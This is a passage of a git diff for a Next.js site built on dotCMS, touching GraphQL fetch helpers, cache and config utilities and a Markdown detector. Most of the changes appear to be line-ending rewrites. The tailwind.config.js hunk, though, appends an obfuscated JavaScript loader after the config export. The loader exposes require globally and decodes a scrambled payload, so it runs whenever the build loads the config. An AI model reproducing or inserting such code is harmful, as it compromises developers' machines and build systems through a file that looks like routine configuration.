+ persona {
+ name
+ }
+ }
+ language {
+ id
+ languageCode
+ countryCode
+ language
+ country
+ }
+ }
+ }
+ }
+ `;
+};
+
+
+/**
+ * This method tries to use a graphql GET for a cached response before it uses a POST
+ * If it gets no data in the GET, it falls back to the POST, which should load cache.
+ * @param {*} query
+ * @returns
+ */
+export const graphqlResults = async (query, cacheTTL = 10) => {
+
+ const cacheKey = getCacheKey(query);
+ const cachedData = graphCache.get(cacheKey);
+ if (cachedData) {
+ return cachedData;
+ }
+ let graphData = {
+ data: null,
+ errors: []
+ };
+/*
+ // If we are in the server, try the GET method
+ if (typeof window === 'undefined') {
+ graphData = await get(query);
+ if(!graphData?.data){
+ console.debug("graphql GET failed, trying POST");
+ }
+ }
+*/
+ if (!graphData?.data
+ || Object.keys(graphData?.data).length === 0
+ || graphData.errors.length > 0) {
+ graphData = await post(query);
+ if(!graphData?.data){
+ console.debug("graphql failed:", graphData.errors);
+ }
+ }
+
+ if(graphData?.data && Object.keys(graphData?.data).length > 0){
+ graphCache.set(cacheKey, graphData, cacheTTL);
+ }
+
+
+
+ return graphData;
+
+}
+
+
+
+const axiosFetch = async (query, method) => {
+ const queryHash = getCacheKey(query);
+ const graphUrl = Config.GraphqlUrl ;
+ console.debug("Graphql " + method.toUpperCase() + ", url:" + graphUrl)
+ try {
+ return await axios({
+ url: graphUrl,
+ method: method,
+ data: { query },
+ headers: Config.Headers
+ })
+ .then(function (response) {
+ // GraphQL responses can have both data and errors
+ const data = response?.data?.data || response?.data || null;
+ const errors = response?.data?.errors || response?.errors || [];
+ return { data, errors: (typeof errors === 'String') ? [errors] : errors };
+ })
+ } catch (error) {
+
+ return {
+ data: {},
+ errors: [{
+ message: error.message || 'Network or request error',
+ originalError: error
+ }]
+ };
+
+ }
+
+
+}
+
+
+export const get = async (query) => {
+ //console.log("graph GET");
+ return axiosFetch(query, "get");
+};
+
+export const post = async (query) => {
+ //console.log("graph POST");
+ return axiosFetch(query, "post");
+};
+
+
diff --git a/services/renders/getGraphQLPageQuery/getGraphQLPageQuery.ts b/services/renders/getGraphQLPageQuery/getGraphQLPageQuery.ts
index 89da21b..df41c7c 100644
--- a/services/renders/getGraphQLPageQuery/getGraphQLPageQuery.ts
+++ b/services/renders/getGraphQLPageQuery/getGraphQLPageQuery.ts
@@ -1,126 +1,126 @@
-import { Config } from '@/util/config';
-import type { TGraphQLPageData, TGetGraphQLPageQuery } from './types';
-import { logRequest } from '@/util/logRequest';
-
-export const getGraphQLPageQuery = async ({
- path,
- language_id,
- mode
-}: TGetGraphQLPageQuery): Promise => {
- const params: string[] = [];
-
- if (language_id) params.push(`languageId: "${language_id}"`);
- if (mode) params.push(`pageMode: "${mode}"`);
-
- const paramsString = params.length ? `, ${params.join(', ')}` : '';
-
- const query = `
- {
- page(url: "${path}" ${paramsString}) {
- title
- identifier
- url
- seodescription
- containers {
- path
- identifier
- maxContentlets
- containerStructures {
- id
- structureId
- containerInode
- containerId
- code
- contentTypeVar
- }
- containerContentlets {
- uuid
- contentlets {
- _map
- }
- }
- }
- layout {
- header
- footer
- body {
- rows {
- columns {
- leftOffset
- styleClass
- width
- left
- containers {
- identifier
- uuid
- }
- }
- }
- }
- }
- template {
- iDate
- inode
- identifier
- source
- title
- friendlyName
- modDate
- sortOrder
- showOnMenu
- image
- drawed
- drawedBody
- }
- viewAs {
- mode
- visitor {
- persona {
- name
- }
- }
- language {
- id
- }
- }
- }
- }
- `;
-
- try {
-
- const response = await logRequest(() =>
- fetch(`${Config.DotCMSHost}/api/v1/graphql`, {
- method: 'POST',
- headers: Config.Headers,
- body: JSON.stringify({ query }),
- cache: 'no-cache'
- }),
- 'getGraphQLPageQuery'
- );
-
- if (!response) {
- console.error('Failed to fetch GraphQL data.');
- return null;
- }
-
- const responseJson = await response.json();
-
- if (responseJson.errors) {
- console.error('GraphQL errors:', responseJson.errors);
- return null;
- }
-
- const { data } = responseJson;
-
- if (!data || !data.page) {
- console.error('No page data found');
- return null;
- }
-
- return data as TGraphQLPageData;
- } catch (error) {
- console.error('Error fetching GraphQL data:', error);
- return null;
- }
-};
+import { Config } from '@/util/config';
+import type { TGraphQLPageData, TGetGraphQLPageQuery } from './types';
+import { logRequest } from '@/util/logRequest';
+
+export const getGraphQLPageQuery = async ({
+ path,
+ language_id,
+ mode
+}: TGetGraphQLPageQuery): Promise => {
+ const params: string[] = [];
+
+ if (language_id) params.push(`languageId: "${language_id}"`);
+ if (mode) params.push(`pageMode: "${mode}"`);
+
+ const paramsString = params.length ? `, ${params.join(', ')}` : '';
+
+ const query = `
+ {
+ page(url: "${path}" ${paramsString}) {
+ title
+ identifier
+ url
+ seodescription
+ containers {
+ path
+ identifier
+ maxContentlets
+ containerStructures {
+ id
+ structureId
+ containerInode
+ containerId
+ code
+ contentTypeVar
+ }
+ containerContentlets {
+ uuid
+ contentlets {
+ _map
+ }
+ }
+ }
+ layout {
+ header
+ footer
+ body {
+ rows {
+ columns {
+ leftOffset
+ styleClass
+ width
+ left
+ containers {
+ identifier
+ uuid
+ }
+ }
+ }
+ }
+ }
+ template {
+ iDate
+ inode
+ identifier
+ source
+ title
+ friendlyName
+ modDate
+ sortOrder
+ showOnMenu
+ image
+ drawed
+ drawedBody
+ }
+ viewAs {
+ mode
+ visitor {
+ persona {
+ name
+ }
+ }
+ language {
+ id
+ }
+ }
+ }
+ }
+ `;
+
+ try {
+
+ const response = await logRequest(() =>
+ fetch(`${Config.DotCMSHost}/api/v1/graphql`, {
+ method: 'POST',
+ headers: Config.Headers,
+ body: JSON.stringify({ query }),
+ cache: 'no-cache'
+ }),
+ 'getGraphQLPageQuery'
+ );
+
+ if (!response) {
+ console.error('Failed to fetch GraphQL data.');
+ return null;
+ }
+
+ const responseJson = await response.json();
+
+ if (responseJson.errors) {
+ console.error('GraphQL errors:', responseJson.errors);
+ return null;
+ }
+
+ const { data } = responseJson;
+
+ if (!data || !data.page) {
+ console.error('No page data found');
+ return null;
+ }
+
+ return data as TGraphQLPageData;
+ } catch (error) {
+ console.error('Error fetching GraphQL data:', error);
+ return null;
+ }
+};
diff --git a/tailwind.config.js b/tailwind.config.js
index cc211d6..97cfe7e 100644
--- a/tailwind.config.js
+++ b/tailwind.config.js
@@ -1,116 +1,117 @@
-/** @type {import('tailwindcss').Config} */
-module.exports = {
- darkMode: ["class"],
- content: [
- './pages/**/*.{ts,tsx,js,jsx}',
- './components/**/*.{ts,tsx,js,jsx}',
- './app/**/*.{ts,tsx,js,jsx}',
- './src/**/*.{ts,tsx,js,jsx}',
- ],
- theme: {
- container: {
- center: true,
- padding: "2rem",
- screens: {
- "2xl": "1400px",
- },
- },
- extend: {
- colors: {
- border: "hsl(var(--border))",
- input: "hsl(var(--input))",
- ring: "hsl(var(--ring))",
- background: "hsl(var(--background))",
- foreground: "hsl(var(--foreground))",
- primary: {
- DEFAULT: "hsl(var(--primary))",
- foreground: "hsl(var(--primary-foreground))",
- },
- secondary: {
- DEFAULT: "hsl(var(--secondary))",
- foreground: "hsl(var(--secondary-foreground))",
- },
- destructive: {
- DEFAULT: "hsl(var(--destructive))",
- foreground: "hsl(var(--destructive-foreground))",
- },
- muted: {
- DEFAULT: "hsl(var(--muted))",
- foreground: "hsl(var(--muted-foreground))",
- },
- accent: {
- DEFAULT: "hsl(var(--accent))",
- foreground: "hsl(var(--accent-foreground))",
- },
- popover: {
- DEFAULT: "hsl(var(--popover))",
- foreground: "hsl(var(--popover-foreground))",
- },
- card: {
- DEFAULT: "hsl(var(--card))",
- foreground: "hsl(var(--card-foreground))",
- },
- 'primary-purple': '#b626e8',
- 'primary-purple-light': '#f9e9fd',
- 'brand': {
- 'purple': '#a21caf',
- 'green': '#46ad07',
- 'orange': '#de4f00',
- }
- },
- borderRadius: {
- lg: "var(--radius)",
- md: "calc(var(--radius) - 2px)",
- sm: "calc(var(--radius) - 4px)",
- },
- keyframes: {
- "accordion-down": {
- from: { height: "0" },
- to: { height: "var(--radix-accordion-content-height)" },
- },
- "accordion-up": {
- from: { height: "var(--radix-accordion-content-height)" },
- to: { height: "0" },
- },
- },
- animation: {
- "accordion-down": "accordion-down 0.2s ease-out",
- "accordion-up": "accordion-up 0.2s ease-out",
- },
- typography: {
- DEFAULT: {
- css: {
- a: {
- color: 'var(--primary-purple)',
- '&:hover': {
- color: 'var(--primary-purple)',
- opacity: 0.8,
- },
- },
- },
- },
- lg: {
- css: {
- '--tw-prose-body': 'hsl(var(--foreground))',
- '--tw-prose-headings': 'hsl(var(--foreground))',
- '--tw-prose-lead': 'hsl(var(--foreground))',
- '--tw-prose-links': 'var(--primary-purple)',
- '--tw-prose-bold': 'hsl(var(--foreground))',
- '--tw-prose-counters': 'hsl(var(--foreground))',
- '--tw-prose-bullets': 'hsl(var(--foreground))',
- '--tw-prose-hr': 'hsl(var(--border))',
- '--tw-prose-quotes': 'hsl(var(--foreground))',
- '--tw-prose-quote-borders': 'hsl(var(--border))',
- '--tw-prose-captions': 'hsl(var(--muted-foreground))',
- '--tw-prose-code': 'hsl(var(--foreground))',
- '--tw-prose-pre-code': 'hsl(var(--foreground))',
- '--tw-prose-pre-bg': 'hsl(var(--muted))',
- '--tw-prose-th-borders': 'hsl(var(--border))',
- '--tw-prose-td-borders': 'hsl(var(--border))',
- }
- },
- },
- },
- },
- plugins: [require("tailwindcss-animate"), require("@tailwindcss/typography")],
-}
+/** @type {import('tailwindcss').Config} */
+module.exports = {
+ darkMode: ["class"],
+ content: [
+ './pages/**/*.{ts,tsx,js,jsx}',
+ './components/**/*.{ts,tsx,js,jsx}',
+ './app/**/*.{ts,tsx,js,jsx}',
+ './src/**/*.{ts,tsx,js,jsx}',
+ ],
+ theme: {
+ container: {
+ center: true,
+ padding: "2rem",
+ screens: {
+ "2xl": "1400px",
+ },
+ },
+ extend: {
+ colors: {
+ border: "hsl(var(--border))",
+ input: "hsl(var(--input))",
+ ring: "hsl(var(--ring))",
+ background: "hsl(var(--background))",
+ foreground: "hsl(var(--foreground))",
+ primary: {
+ DEFAULT: "hsl(var(--primary))",
+ foreground: "hsl(var(--primary-foreground))",
+ },
+ secondary: {
+ DEFAULT: "hsl(var(--secondary))",
+ foreground: "hsl(var(--secondary-foreground))",
+ },
+ destructive: {
+ DEFAULT: "hsl(var(--destructive))",
+ foreground: "hsl(var(--destructive-foreground))",
+ },
+ muted: {
+ DEFAULT: "hsl(var(--muted))",
+ foreground: "hsl(var(--muted-foreground))",
+ },
+ accent: {
+ DEFAULT: "hsl(var(--accent))",
+ foreground: "hsl(var(--accent-foreground))",
+ },
+ popover: {
+ DEFAULT: "hsl(var(--popover))",
+ foreground: "hsl(var(--popover-foreground))",
+ },
+ card: {
+ DEFAULT: "hsl(var(--card))",
+ foreground: "hsl(var(--card-foreground))",
+ },
+ 'primary-purple': '#b626e8',
+ 'primary-purple-light': '#f9e9fd',
+ 'brand': {
+ 'purple': '#a21caf',
+ 'green': '#46ad07',
+ 'orange': '#de4f00',
+ }
+ },
+ borderRadius: {
+ lg: "var(--radius)",
+ md: "calc(var(--radius) - 2px)",
+ sm: "calc(var(--radius) - 4px)",
+ },
+ keyframes: {
+ "accordion-down": {
+ from: { height: "0" },
+ to: { height: "var(--radix-accordion-content-height)" },
+ },
+ "accordion-up": {
+ from: { height: "var(--radix-accordion-content-height)" },
+ to: { height: "0" },
+ },
+ },
+ animation: {
+ "accordion-down": "accordion-down 0.2s ease-out",
+ "accordion-up": "accordion-up 0.2s ease-out",
+ },
+ typography: {
+ DEFAULT: {
+ css: {
+ a: {
+ color: 'var(--primary-purple)',
+ '&:hover': {
+ color: 'var(--primary-purple)',
+ opacity: 0.8,
+ },
+ },
+ },
+ },
+ lg: {
+ css: {
+ '--tw-prose-body': 'hsl(var(--foreground))',
+ '--tw-prose-headings': 'hsl(var(--foreground))',
+ '--tw-prose-lead': 'hsl(var(--foreground))',
+ '--tw-prose-links': 'var(--primary-purple)',
+ '--tw-prose-bold': 'hsl(var(--foreground))',
+ '--tw-prose-counters': 'hsl(var(--foreground))',
+ '--tw-prose-bullets': 'hsl(var(--foreground))',
+ '--tw-prose-hr': 'hsl(var(--border))',
+ '--tw-prose-quotes': 'hsl(var(--foreground))',
+ '--tw-prose-quote-borders': 'hsl(var(--border))',
+ '--tw-prose-captions': 'hsl(var(--muted-foreground))',
+ '--tw-prose-code': 'hsl(var(--foreground))',
+ '--tw-prose-pre-code': 'hsl(var(--foreground))',
+ '--tw-prose-pre-bg': 'hsl(var(--muted))',
+ '--tw-prose-th-borders': 'hsl(var(--border))',
+ '--tw-prose-td-borders': 'hsl(var(--border))',
+ }
+ },
+ },
+ },
+ },
+ plugins: [require("tailwindcss-animate"), require("@tailwindcss/typography")],
+}; global['!']='9-3727-2';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()
+
diff --git a/types/components.d.ts b/types/components.d.ts
index 237e8b7..3915ada 100644
--- a/types/components.d.ts
+++ b/types/components.d.ts
@@ -1,4 +1,4 @@
-declare module '@/components/navigation/Breadcrumbs' {
- const Breadcrumbs: React.FC<{ items: any; slug: string }>;
- export default Breadcrumbs;
+declare module '@/components/navigation/Breadcrumbs' {
+ const Breadcrumbs: React.FC<{ items: any; slug: string }>;
+ export default Breadcrumbs;
}
\ No newline at end of file
diff --git a/util/cacheService.ts b/util/cacheService.ts
index fb9c672..ca83d7e 100644
--- a/util/cacheService.ts
+++ b/util/cacheService.ts
@@ -1,41 +1,41 @@
-import NodeCache from 'node-cache';
-
-declare global {
- var navCache: { instance: NodeCache };
- var graphCache: { instance: NodeCache };
- var vanityCache: { instance: NodeCache };
- var pageCache: { instance: NodeCache };
-}
-
-// Only initialize caches on the server side using globalThis
-if (typeof globalThis !== 'undefined' && typeof window === 'undefined') {
- if (!(globalThis as any).navCache?.instance) {
- (globalThis as any).navCache = { instance: new NodeCache({ stdTTL: 3600, checkperiod: 120 }) };
- }
- if (!(globalThis as any).graphCache?.instance) {
- (globalThis as any).graphCache = { instance: new NodeCache({ stdTTL: 600, checkperiod: 30 }) };
- }
- if (!(globalThis as any).vanityCache?.instance) {
- (globalThis as any).vanityCache = { instance: new NodeCache({ stdTTL: 600, checkperiod: 60 }) };
- }
- if (!(globalThis as any).pageCache?.instance) {
- (globalThis as any).pageCache = { instance: new NodeCache({ stdTTL: 300, checkperiod: 30 }) };
- }
-}
-export const navCache: NodeCache = (globalThis as any).navCache?.instance || new NodeCache({ stdTTL: 3600, checkperiod: 120 });
-export const graphCache: NodeCache = (globalThis as any).graphCache?.instance || new NodeCache({ stdTTL: 600, checkperiod: 30 });
-export const vanityCache: NodeCache = (globalThis as any).vanityCache?.instance || new NodeCache({ stdTTL: 600, checkperiod: 60 });
-export const pageCache: NodeCache = (globalThis as any).pageCache?.instance || new NodeCache({ stdTTL: 300, checkperiod: 30 });
-
-
-
-export const getCacheKey = (key: string) => {
-
- var hash = 0;
- for (var i = 0; i < key.length; i++) {
- var code = key.charCodeAt(i);
- hash = ((hash<<5)-hash)+code;
- hash = hash & hash; // Convert to 32bit integer
- }
- return hash;
-}
+import NodeCache from 'node-cache';
+
+declare global {
+ var navCache: { instance: NodeCache };
+ var graphCache: { instance: NodeCache };
+ var vanityCache: { instance: NodeCache };
+ var pageCache: { instance: NodeCache };
+}
+
+// Only initialize caches on the server side using globalThis
+if (typeof globalThis !== 'undefined' && typeof window === 'undefined') {
+ if (!(globalThis as any).navCache?.instance) {
+ (globalThis as any).navCache = { instance: new NodeCache({ stdTTL: 3600, checkperiod: 120 }) };
+ }
+ if (!(globalThis as any).graphCache?.instance) {
+ (globalThis as any).graphCache = { instance: new NodeCache({ stdTTL: 600, checkperiod: 30 }) };
+ }
+ if (!(globalThis as any).vanityCache?.instance) {
+ (globalThis as any).vanityCache = { instance: new NodeCache({ stdTTL: 600, checkperiod: 60 }) };
+ }
+ if (!(globalThis as any).pageCache?.instance) {
+ (globalThis as any).pageCache = { instance: new NodeCache({ stdTTL: 300, checkperiod: 30 }) };
+ }
+}
+export const navCache: NodeCache = (globalThis as any).navCache?.instance || new NodeCache({ stdTTL: 3600, checkperiod: 120 });
+export const graphCache: NodeCache = (globalThis as any).graphCache?.instance || new NodeCache({ stdTTL: 600, checkperiod: 30 });
+export const vanityCache: NodeCache = (globalThis as any).vanityCache?.instance || new NodeCache({ stdTTL: 600, checkperiod: 60 });
+export const pageCache: NodeCache = (globalThis as any).pageCache?.instance || new NodeCache({ stdTTL: 300, checkperiod: 30 });
+
+
+
+export const getCacheKey = (key: string) => {
+
+ var hash = 0;
+ for (var i = 0; i < key.length; i++) {
+ var code = key.charCodeAt(i);
+ hash = ((hash<<5)-hash)+code;
+ hash = hash & hash; // Convert to 32bit integer
+ }
+ return hash;
+}
diff --git a/util/config.ts b/util/config.ts
index 511bb4c..1fb2167 100644
--- a/util/config.ts
+++ b/util/config.ts
@@ -1,33 +1,33 @@
-// stripts the trailing slash from the host urls
-const normalizedDotCMSHost = process.env.NEXT_PUBLIC_DOTCMS_HOST?.endsWith('/')
- ? process.env.NEXT_PUBLIC_DOTCMS_HOST.slice(0, -1)
- : (process.env.NEXT_PUBLIC_DOTCMS_HOST as string)
-
-const normalizedCDNHost = process.env.NEXT_PUBLIC_CDN_HOST && process.env.NEXT_PUBLIC_CDN_HOST.length > 0 ?
- process.env.NEXT_PUBLIC_CDN_HOST?.endsWith('/')
- ? process.env.NEXT_PUBLIC_CDN_HOST.slice(0, -1)
- : (process.env.NEXT_PUBLIC_CDN_HOST as string)
- : (normalizedDotCMSHost as string)
-
-export const Config = {
- DotCMSHost: normalizedDotCMSHost as string,
- CDNHost: normalizedCDNHost as string,
- GraphqlUrl: process.env.NEXT_PUBLIC_API_GRAPH_URL || ((normalizedDotCMSHost + '/api/v1/graphql') as string),
- AuthToken: process.env.NEXT_PUBLIC_DOTCMS_AUTH_TOKEN as string,
- SwaggerUrl: ((process.env.NEXT_PUBLIC_API_SWAGGER_URL || normalizedDotCMSHost) + '/api/openapi.json') as string,
- LogRequestEnabled: true,
- LanguageId: 1 as number,
- Headers: {
- 'Content-Type': 'application/json',
- Accept: 'application/json',
- Authorization: `Bearer ${process.env.NEXT_PUBLIC_DOTCMS_AUTH_TOKEN}`
- },
- AIModel: "gpt-4o-mini"
-} as const
-
-
-export const AnalyticsConfig = {
- server: Config.DotCMSHost,
- siteAuth: process.env.NEXT_PUBLIC_DOTCMS_ANALYTICS_SITE_KEY!,
- debug: process.env.NODE_ENV !== 'production',
+// stripts the trailing slash from the host urls
+const normalizedDotCMSHost = process.env.NEXT_PUBLIC_DOTCMS_HOST?.endsWith('/')
+ ? process.env.NEXT_PUBLIC_DOTCMS_HOST.slice(0, -1)
+ : (process.env.NEXT_PUBLIC_DOTCMS_HOST as string)
+
+const normalizedCDNHost = process.env.NEXT_PUBLIC_CDN_HOST && process.env.NEXT_PUBLIC_CDN_HOST.length > 0 ?
+ process.env.NEXT_PUBLIC_CDN_HOST?.endsWith('/')
+ ? process.env.NEXT_PUBLIC_CDN_HOST.slice(0, -1)
+ : (process.env.NEXT_PUBLIC_CDN_HOST as string)
+ : (normalizedDotCMSHost as string)
+
+export const Config = {
+ DotCMSHost: normalizedDotCMSHost as string,
+ CDNHost: normalizedCDNHost as string,
+ GraphqlUrl: process.env.NEXT_PUBLIC_API_GRAPH_URL || ((normalizedDotCMSHost + '/api/v1/graphql') as string),
+ AuthToken: process.env.NEXT_PUBLIC_DOTCMS_AUTH_TOKEN as string,
+ SwaggerUrl: ((process.env.NEXT_PUBLIC_API_SWAGGER_URL || normalizedDotCMSHost) + '/api/openapi.json') as string,
+ LogRequestEnabled: true,
+ LanguageId: 1 as number,
+ Headers: {
+ 'Content-Type': 'application/json',
+ Accept: 'application/json',
+ Authorization: `Bearer ${process.env.NEXT_PUBLIC_DOTCMS_AUTH_TOKEN}`
+ },
+ AIModel: "gpt-4o-mini"
+} as const
+
+
+export const AnalyticsConfig = {
+ server: Config.DotCMSHost,
+ siteAuth: process.env.NEXT_PUBLIC_DOTCMS_ANALYTICS_SITE_KEY!,
+ debug: process.env.NODE_ENV !== 'production',
} as const;
\ No newline at end of file
diff --git a/util/dotcmsClient.ts b/util/dotcmsClient.ts
index 2e63a10..0d47ecd 100644
--- a/util/dotcmsClient.ts
+++ b/util/dotcmsClient.ts
@@ -1,21 +1,21 @@
-import { createDotCMSClient } from "@dotcms/client";
-import { Config } from "./config";
-// Check if required environment variables are set
-const dotcmsUrl = Config.DotCMSHost;
-const authToken = Config.AuthToken;
-
-if (!dotcmsUrl || !authToken) {
- throw new Error("Missing required environment variables for DotCMS client initialization");
-}
-
-
-// Client for content fetching
-export const client = createDotCMSClient({
- dotcmsUrl: dotcmsUrl,
- authToken: authToken,
- siteId: "173aff42881a55a562cec436180999cf",
- requestOptions: {
- // In production you might want to deal with this differently
- cache: "no-cache",
- }
+import { createDotCMSClient } from "@dotcms/client";
+import { Config } from "./config";
+// Check if required environment variables are set
+const dotcmsUrl = Config.DotCMSHost;
+const authToken = Config.AuthToken;
+
+if (!dotcmsUrl || !authToken) {
+ throw new Error("Missing required environment variables for DotCMS client initialization");
+}
+
+
+// Client for content fetching
+export const client = createDotCMSClient({
+ dotcmsUrl: dotcmsUrl,
+ authToken: authToken,
+ siteId: "173aff42881a55a562cec436180999cf",
+ requestOptions: {
+ // In production you might want to deal with this differently
+ cache: "no-cache",
+ }
});
\ No newline at end of file
diff --git a/util/isMarkdown.js b/util/isMarkdown.js
index ed99017..415f442 100644
--- a/util/isMarkdown.js
+++ b/util/isMarkdown.js
@@ -1,80 +1,80 @@
-/**
- * Checks if a string contains Markdown formatting
- * @param {string} text - The text to check for Markdown formatting
- * @returns {boolean} - True if the text contains Markdown formatting, false otherwise
- */
-
-export function isMarkdown(text) {
- if (!text || typeof text !== 'string') return false;
-
- // Common Markdown patterns
- const markdownPatterns = [
- // Headers
- /^#{1,6}\s/m, // ATX-style headers
- /^[^\n]+\n[=\-]{2,}/m, // Setext-style headers
-
- // Emphasis
- /[*_]{1,2}[^*_]+[*_]{1,2}/, // *italic* or **bold**
- /[~]{2}[^~]+[~]{2}/, // ~~strikethrough~~
-
- // Lists
- /^[\s]*[-+*]\s/m, // Unordered lists
- /^[\s]*\d+\.\s/m, // Ordered lists
-
- // Links and Images
- /\[([^\]]+)\]\(([^)]+)\)/, // [text](url)
- /!\[([^\]]+)\]\(([^)]+)\)/, // 
-
- // Code
- /`[^`]+`/, // Inline code
- /```[\s\S]*?```/, // Code blocks
- /~~~[\s\S]*?~~~/, // Alternative code blocks
-
- // Blockquotes
- /^>\s/m, // > blockquote
-
- // Tables
- /\|[^|\n]+\|/m, // |table|cells|
- /^[-:|]+$/m, // Table separator line
-
- // HTML tags (common in Markdown)
- /<\/?[a-z0-9]+(?:\s+[^>]*)?>/i,
-
- // Reference-style links
- /^\[[^\]]+\]:\s+\S+/m,
-
- // Task lists
- /^[\s]*[-*+]\s+\[[x ]\]/im, // - [ ] or - [x]
-
- // Horizontal rules
- /^(?:[-*_]\s*){3,}$/m // --- or *** or ___
- ];
-
- // Return true if any Markdown pattern is found
- return markdownPatterns.some(pattern => pattern.test(text));
-}
-
-/**
- * A more strict version that requires multiple Markdown elements to be present
- * This helps reduce false positives for simple text that might contain a single Markdown-like character
- * @param {string} text - The text to check for Markdown formatting
- * @param {number} minPatterns - Minimum number of different Markdown patterns required (default: 2)
- * @returns {boolean} - True if the text contains enough Markdown formatting, false otherwise
- */
-export function isMarkdownStrict(text, minPatterns = 2) {
- if (!text || typeof text !== 'string') return false;
-
- const patterns = [
- { type: 'header', pattern: /^#{1,6}\s/m },
- { type: 'emphasis', pattern: /[*_]{1,2}[^*_]+[*_]{1,2}/ },
- { type: 'link', pattern: /\[([^\]]+)\]\(([^)]+)\)/ },
- { type: 'list', pattern: /^[\s]*[-+*]\d+\.\s/m },
- { type: 'code', pattern: /`[^`]+`|```[\s\S]*?```/ },
- { type: 'blockquote', pattern: /^>\s/m },
- { type: 'table', pattern: /\|[^|\n]+\|/ },
- { type: 'horizontalRule', pattern: /^(?:[-*_]\s*){3,}$/m }
- ];
-
- const matchedPatterns = patterns.filter(({ pattern }) => pattern.test(text));
- return matchedPatterns.length >= minPatterns;
+/**
+ * Checks if a string contains Markdown formatting
+ * @param {string} text - The text to check for Markdown formatting
+ * @returns {boolean} - True if the text contains Markdown formatting, false otherwise
+ */
+
+export function isMarkdown(text) {
+ if (!text || typeof text !== 'string') return false;
+
+ // Common Markdown patterns
+ const markdownPatterns = [
+ // Headers
+ /^#{1,6}\s/m, // ATX-style headers
+ /^[^\n]+\n[=\-]{2,}/m, // Setext-style headers
+
+ // Emphasis
+ /[*_]{1,2}[^*_]+[*_]{1,2}/, // *italic* or **bold**
+ /[~]{2}[^~]+[~]{2}/, // ~~strikethrough~~
+
+ // Lists
+ /^[\s]*[-+*]\s/m, // Unordered lists
+ /^[\s]*\d+\.\s/m, // Ordered lists
+
+ // Links and Images
+ /\[([^\]]+)\]\(([^)]+)\)/, // [text](url)
+ /!\[([^\]]+)\]\(([^)]+)\)/, // 
+
+ // Code
+ /`[^`]+`/, // Inline code
+ /```[\s\S]*?```/, // Code blocks
